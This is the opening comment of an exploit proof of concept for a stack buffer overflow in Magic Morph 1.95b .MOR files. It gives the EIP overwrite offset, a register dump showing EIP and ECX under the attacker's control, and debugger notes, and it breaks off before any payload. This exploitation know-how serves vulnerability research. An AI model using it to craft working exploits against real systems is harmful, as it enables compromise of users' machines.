Portable E.M Magic Morph 1.95b .MOR File Stack Buffer Overflow POC *

/********************************************************************************************************
The EIP offset is at 312 bytes 0x138 HEX *
After you compile and create the .MOR file ,edit it with HEX EDITOR and start counting from the start *
of the file, and you'll have to rezult with 0x138 bytes *
*
I used a technique names "stack spray" to determine the offset. *
*
CPU REGISTERS *
EAX 00000000 *
ECX 33333333 *
EDX 01492288 *
EBX 00000001 *

ESI 00F369B0 *
EDI 00F369B0 *
EIP 41414141 *
*
We control ECX, EIP witch is more than enought to copy what addresess you want in the memory. *
So I go in OLLYDBG at the ESP register and right click ->follow in stack ,I observe that the corruption*
starts at a much lower address. *
This is what ESP points to: *
